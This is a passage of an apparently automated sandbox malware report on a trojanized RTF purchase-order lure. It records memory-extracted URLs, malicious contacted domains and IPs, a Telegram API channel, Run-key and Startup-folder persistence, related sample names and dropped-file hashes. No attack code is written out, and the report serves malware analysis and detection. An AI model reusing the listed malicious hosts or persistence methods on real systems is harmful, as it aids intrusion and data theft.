https://www.liverpool.com/liverpool-fc-news/features/liverpool-penalties-premier-league-var-17171391	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schema.org/NewsArticle	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	false		high
https://www.liverpool.com/schedule/	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schema.org/BreadcrumbList	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high
https://securepubads.g.doubleclick.net/tag/js/gpt.js	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high
https://s2-prod.liverpool.com/	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-champions-league-jurgen-klopp-1996194	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s458/0_GettyImages-1302496803.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://felix.data.tm-awx.com/ampconfig.json"	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s615/0_Salah-Goal-vs-Leeds.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleaner	powershell.exe, 00000006.00000002.2124274813.00000000005A3000.00000004.00000020.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schema.org/ListItem	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/all-about/georginio-wijnaldum	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://mab.data.tm-awx.com/rhs"	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://felix.data.tm-awx.com	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://investor.msn.com/	powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	false		high
https://www.liverpool.com/all-about/andrew-robertson	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article17166876.ece/ALTERNATES/s615/0_GettyImages-1175998874.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.%s.comPA	powershell.exe, 00000004.00000002.2124390308.00000000020F0000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2128414389.0000000002520000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://www.liverpool.com/liverpool-fc-news/features/liverpool-gini-wijnaldum-rumours-fitness-199533	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s180/0_GettyImages-1304940818.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/transfers	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763&	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://investor.msn.com	powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s615/1_FreeAgentPlayers.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s180/1_FreeAgentPlayers.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://reach-id.orbit.tm-awx.com/analytics.js.gz	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github.com/ded/script.js	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.14.60	apdocroto.gq	United States	13335	CLOUDFLARENETUS	true
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
41.231.5.212	kf.carthage2s.com	Tunisia	37705	TOPNETTN	true
172.67.158.27	unknown	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	435313
Start date:	16.06.2021
Start time:	12:04:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 18m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Customer-unionroadwaysltd-8754-PO.doc__.rtf
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.expl.evad.winRTF@64/47@28/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 2.9% (good quality ratio 0.3%) Quality average: 6% Quality standard deviation: 19.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 701 Number of non-executed functions: 6
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, au-bg-shim.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/435313/sample/Customer-unionroadwaysltd-8754-PO.doc__.rtf

Simulations

Behavior and APIs

Time	Type	Description
12:04:34	API Interceptor	13x Sleep call for process: EQNEDT32.EXE modified
12:04:36	API Interceptor	1168x Sleep call for process: putty.exe modified
12:04:55	API Interceptor	375x Sleep call for process: powershell.exe modified
12:04:57	API Interceptor	880x Sleep call for process: e888z168ybTRefC409a4S5mn41ofdd.exe modified
12:04:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
12:05:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
12:05:16	API Interceptor	451x Sleep call for process: svchost.exe modified
12:05:17	API Interceptor	543x Sleep call for process: WerFault.exe modified
12:05:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
12:05:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run qweruiuyt C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
12:05:38	API Interceptor	206x Sleep call for process: qweruiuyt.exe modified
12:05:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run qweruiuyt C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.21.14.60	EXTRACTOSERFINANZA951519390158745693478909849.exe	Get hash	malicious	Browse	apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-93E4ED3647018D4BC99F37F3C112058F.html
	Factura Serfinanza039947665133458256509618413.exe	Get hash	malicious	Browse	apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-95766861991734398FE50D371F8B4E91.html
	INV14062021.exe	Get hash	malicious	Browse	apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-848C5FFDE66B4AA9D6DB9FC457BA5568.html
	vmw7WdkJ6k.exe	Get hash	malicious	Browse	apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-ABA7FFAE0798429F701D0D12FD055ADB.html
149.154.167.220	2jvnjVUoj4.xls	Get hash	malicious	Browse
	Co2WN1F3oJ.exe	Get hash	malicious	Browse
	8VFicFtNS6.exe	Get hash	malicious	Browse
	P9t80oxzA4.exe	Get hash	malicious	Browse
	9J7C9Hi5Fo.exe	Get hash	malicious	Browse
	5iDemVaRzA.exe	Get hash	malicious	Browse
	Gt5L3h9JUv.exe	Get hash	malicious	Browse
	DHL Shipment Notification.exe	Get hash	malicious	Browse
	Customer001987_rfq-deaho.xlsx	Get hash	malicious	Browse
	VHFD8erGNr.exe	Get hash	malicious	Browse
	fbjjKHo4IB.exe	Get hash	malicious	Browse
	Request for Quotation.exe	Get hash	malicious	Browse
	PI 21378860.exe	Get hash	malicious	Browse
	order 0824.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Win32.Save.a.804.exe	Get hash	malicious	Browse
	TT WIRE.exe	Get hash	malicious	Browse
	bI2n9JX3YE.exe	Get hash	malicious	Browse
	Attached Order.exe	Get hash	malicious	Browse
	Payment MT103 Remittance Wire Transfer Confirmation.doc	Get hash	malicious	Browse
	Attached Order.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.telegram.org	2jvnjVUoj4.xls	Get hash	malicious	Browse	149.154.167.220
	Co2WN1F3oJ.exe	Get hash	malicious	Browse	149.154.167.220
	8VFicFtNS6.exe	Get hash	malicious	Browse	149.154.167.220
	P9t80oxzA4.exe	Get hash	malicious	Browse	149.154.167.220
	9J7C9Hi5Fo.exe	Get hash	malicious	Browse	149.154.167.220
	5iDemVaRzA.exe	Get hash	malicious	Browse	149.154.167.220
	Gt5L3h9JUv.exe	Get hash	malicious	Browse	149.154.167.220
	DHL Shipment Notification.exe	Get hash	malicious	Browse	149.154.167.220
	Customer001987_rfq-deaho.xlsx	Get hash	malicious	Browse	149.154.167.220
	Request for Quotation.exe	Get hash	malicious	Browse	149.154.167.220
	PI 21378860.exe	Get hash	malicious	Browse	149.154.167.220
	order 0824.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Win32.Save.a.804.exe	Get hash	malicious	Browse	149.154.167.220
	TT WIRE.exe	Get hash	malicious	Browse	149.154.167.220
	bI2n9JX3YE.exe	Get hash	malicious	Browse	149.154.167.220
	Attached Order.exe	Get hash	malicious	Browse	149.154.167.220
	Payment MT103 Remittance Wire Transfer Confirmation.doc	Get hash	malicious	Browse	149.154.167.220
	Attached Order.exe	Get hash	malicious	Browse	149.154.167.220
	Order Confirmation.doc	Get hash	malicious	Browse	149.154.167.220
	Y9DdOa5xDz.exe	Get hash	malicious	Browse	149.154.167.220
apdocroto.gq	ccbf1853c703609eda36bc07ab8eb2faf692153b56ecf.exe	Get hash	malicious	Browse	104.21.14.60
	SERFINANZAEXTRACTO286648302187037087196744955.exe	Get hash	malicious	Browse	172.67.158.27
	EXTRACTOSERFINANZA951519390158745693478909849.exe	Get hash	malicious	Browse	104.21.14.60
	Factura Serfinanza039947665133458256509618413.exe	Get hash	malicious	Browse	104.21.14.60
	INV14062021.exe	Get hash	malicious	Browse	104.21.14.60
	vmw7WdkJ6k.exe	Get hash	malicious	Browse	104.21.14.60
	Nr_0052801.exe	Get hash	malicious	Browse	172.67.158.27

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	2jvnjVUoj4.xls	Get hash	malicious	Browse	149.154.167.220
	Co2WN1F3oJ.exe	Get hash	malicious	Browse	149.154.167.220
	8VFicFtNS6.exe	Get hash	malicious	Browse	149.154.167.220
	P9t80oxzA4.exe	Get hash	malicious	Browse	149.154.167.220
	9J7C9Hi5Fo.exe	Get hash	malicious	Browse	149.154.167.220
	5iDemVaRzA.exe	Get hash	malicious	Browse	149.154.167.220
	Gt5L3h9JUv.exe	Get hash	malicious	Browse	149.154.167.220
	DHL Shipment Notification.exe	Get hash	malicious	Browse	149.154.167.220
	Customer001987_rfq-deaho.xlsx	Get hash	malicious	Browse	149.154.167.220
	VHFD8erGNr.exe	Get hash	malicious	Browse	149.154.167.220
	fbjjKHo4IB.exe	Get hash	malicious	Browse	149.154.167.220
	Request for Quotation.exe	Get hash	malicious	Browse	149.154.167.220
	PI 21378860.exe	Get hash	malicious	Browse	149.154.167.220
	5uEqXLxw3h.exe	Get hash	malicious	Browse	95.161.76.100
	order 0824.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Win32.Save.a.804.exe	Get hash	malicious	Browse	149.154.167.220
	TT WIRE.exe	Get hash	malicious	Browse	149.154.167.220
	bI2n9JX3YE.exe	Get hash	malicious	Browse	149.154.167.220
	Attached Order.exe	Get hash	malicious	Browse	149.154.167.220
	Payment MT103 Remittance Wire Transfer Confirmation.doc	Get hash	malicious	Browse	149.154.167.220
CLOUDFLARENETUS	ATT00001.htm	Get hash	malicious	Browse	104.16.19.94
	RFQ-BCM 03122020.exe	Get hash	malicious	Browse	172.67.193.107
	Aries.exe	Get hash	malicious	Browse	162.159.130.233
	TT0900090000090.exe	Get hash	malicious	Browse	104.21.19.200
	Poczta Polska Informacje o transakcjach2021.exe	Get hash	malicious	Browse	104.21.1.82
	#Ud83d#Udd7b Missed Call Playback Recording.wav - +1 6917381022.htm	Get hash	malicious	Browse	104.16.18.94
	AdobeAcrobatProDC2021.005.20048#U4e2d#U6587#U76f4#U88c5#U7834#U89e3#U7248@2223_16081.exe	Get hash	malicious	Browse	104.20.185.68
	PO-006 dtd-15.06.2021.exe	Get hash	malicious	Browse	104.21.15.48
	#U65b0#U8a02#U55ae_WJO-001.pdf.exe	Get hash	malicious	Browse	104.21.19.200
	Zalando_mail_14.exe	Get hash	malicious	Browse	104.21.19.200
	6334-Hanglung.com.html	Get hash	malicious	Browse	104.16.18.94
	SecuriteInfo.com.W32.AIDetect.malware1.3553.exe	Get hash	malicious	Browse	172.67.206.104
	TscZlF3lqk.exe	Get hash	malicious	Browse	104.21.69.75
	8ti0qjm60b.exe	Get hash	malicious	Browse	172.67.137.101
	arm_crypt.exe	Get hash	malicious	Browse	172.67.188.10
	yfr02XrveJ.exe	Get hash	malicious	Browse	172.67.129.162
	ePThje5TvU.exe	Get hash	malicious	Browse	1.0.0.1
	PO#006611.doc.exe	Get hash	malicious	Browse	23.227.38.74
	ccbf1853c703609eda36bc07ab8eb2faf692153b56ecf.exe	Get hash	malicious	Browse	104.21.10.13
	Minutes of Meeting.exe	Get hash	malicious	Browse	104.21.19.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
36f7277af969a6947a61ae0b815907a1	Customer001987_rfq-deaho.xlsx	Get hash	malicious	Browse	149.154.167.220
	Payment MT103 Remittance Wire Transfer Confirmation.doc	Get hash	malicious	Browse	149.154.167.220
	Order Confirmation.doc	Get hash	malicious	Browse	149.154.167.220
	8b664227_by_Libranalysis.ppt	Get hash	malicious	Browse	149.154.167.220
	KUP ZAM#U00d3WIENIE-34002174.ppt	Get hash	malicious	Browse	149.154.167.220
	280fdaa5_by_Libranalysis.ppt	Get hash	malicious	Browse	149.154.167.220
	PO-AWB.xlsx	Get hash	malicious	Browse	149.154.167.220
	remittance details.docx	Get hash	malicious	Browse	149.154.167.220
	presupuesto.xlsx	Get hash	malicious	Browse	149.154.167.220
	presupuesto.xlsx	Get hash	malicious	Browse	149.154.167.220
	2021-Quotation.xlsx	Get hash	malicious	Browse	149.154.167.220
	XB201019BU XB201019BA.xlsx	Get hash	malicious	Browse	149.154.167.220
	Bnp Paribas SWIFT.xlsx	Get hash	malicious	Browse	149.154.167.220
	trinitymediaorder-po140521.doc	Get hash	malicious	Browse	149.154.167.220
	Pk_673672.xlsx	Get hash	malicious	Browse	149.154.167.220
	latvia-order-051121_.doc	Get hash	malicious	Browse	149.154.167.220
	M2.Tr.23.xlsx	Get hash	malicious	Browse	149.154.167.220
	GFG-group-CompanyProfile - Copy.doc	Get hash	malicious	Browse	149.154.167.220
	DELL CORE.xlsx	Get hash	malicious	Browse	149.154.167.220
	Revised_PO_758869.docx	Get hash	malicious	Browse	149.154.167.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	Microsoft Cabinet archive data, 60080 bytes, 1 file
Category:	dropped
Size (bytes):	60080
Entropy (8bit):	7.995256720209506
Encrypted:	true
SSDEEP:	768:O78wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENclXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:A8Rc7GHyhUHsVNPOlhbz2E5BPNiUu+g4
MD5:	6045BACCF49E1EBA0E674945311A06E6
SHA1:	379C6234849EECEDE26FAD192C2EE59E0F0221CB
SHA-256:	65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58
SHA-512:	DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789ABEB
Malicious:	false
Preview:	MSCF............,...................I........d.........R9b .authroot.stl.3..).4..CK..8T....c_.d....A.K...].M$[v.4.)7-.%.QIR..$t)Kd.-[..T\{..ne.....{..<.......Ab.<..X....sb.....e........dbu.3...0........X..00&Z....C...p0.}..2..0m.}..Cj.9U..J.j.Y...#.L..\X..O.,...,.qu..]..(B.nE~Q...)..Gcx.....}...f....zw.a..9+[.<0.'..2 .s..ya..J......wd....OO!.s....`.WA...F6._f....6...g..2..7.$,....X.k..&...E...g.....>uv."..!......xc......C..?....P0$.Y..?u....Z0.g3.>W0&.y.(....].`>... ..R.q..wgX......qB!.B....Z.4..>.R.M..0.8...=.8..Ya.s.......add..)..w.4.&.z...2.&74.5]..w.j.._iK..\|\|[.w.M.!<-.}%.C<tDX5\s._..I....nb.....GCQ.V..r..Y.............q...0..V)Tu>.Z..r...I...<.R{Ac..x^. .<A........\|.{.....Q...&....X..C$....e9.:..vI..x.R4...L......%g...<..}'{....E8Sl...E".h...*.........ItVs.K......3.9.l..`D..e.i`....y...,..5....aSs`..W...d...t.J..]....'u3..d]7..=e....[R!:........Q.%..@........ga.v.~..q....{.!N.b]x..Zx.../;#}.f.)k.c9..{rmPt..z5.m=..q..%.D#<+Ex....1\|.._F.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.0833108895570884
Encrypted:	false
SSDEEP:	6:kKVzdie8N+SkQlPlEGYRMY9z+4KlDA3RUeWlK1MMx:Pi8kPlE99SNxAhUe3OMx
MD5:	F2A09726F7A8EC24C9A5E5AEBD5E3420
SHA1:	78B2B14AD9837E02FB565D6D399A772928F57578
SHA-256:	65A8ECB1737344B70CFC0911F3216C94B95167FBD29EAD7AA7F7FB9163912662
SHA-512:	1AADFF1A74074C451ADEF98242FE97620D1AB6046763069A6EC4EC966F95F7A176C7DC9A81028272D39EBC4208127AC6E68149E81E674B2EE2DB53DB9179B9B3
Malicious:	false
Preview:	p...... .........C.t.b..(....................................................... ............L......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.9.0.e.6.c.f.e.3.4.c.d.7.1.:.0."...

C:\Users\user\AppData\Local\???????\e888z168ybTRefC409a4S5mn4_Url_ieo3rlngguenrtc44nvfkbbdpgkldbzf\6.335.788.529\ja0nxwsp.newcfg Download File
Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1024546
Entropy (8bit):	3.1269035822105082
Encrypted:	false
SSDEEP:	12288:BctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+u:f7xnEiqMYilB
MD5:	798E75EAFE7531DB03EE356154FA97CC
SHA1:	C9CBB78C0FB1387869EA1428FDFA5DD3870E1959
SHA-256:	7E48B79189580C30D6F6F3F319B5D7611ED0C1E82F0E9E742752EA6F729297FC
SHA-512:	514A341F3FB8A08991D9F0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFB9B8A9AD2A2AFCD2CCDB90830A91B2DB22EE667
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0

C:\Users\user\AppData\Local\???????\e888z168ybTRefC409a4S5mn4_Url_ieo3rlngguenrtc44nvfkbbdpgkldbzf\6.335.788.529\ke4dtirr.newcfg Download File
Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	3009211
Entropy (8bit):	3.101537480832706
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+9:t7xnEiqMYilO
MD5:	AEE69512FC253C547596763B268A4FCC
SHA1:	DA69F0854AEB81F359821DCFC869A97EBE63ACB6
SHA-256:	61ED1FDBE4654131418DD9BC6F4A6A38277110A28F4EDB915B511827FC47FC74
SHA-512:	66AE0EE6FF3F5C94988863E3EC1BAB83EC4A5BE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8C5
Malicious:	false
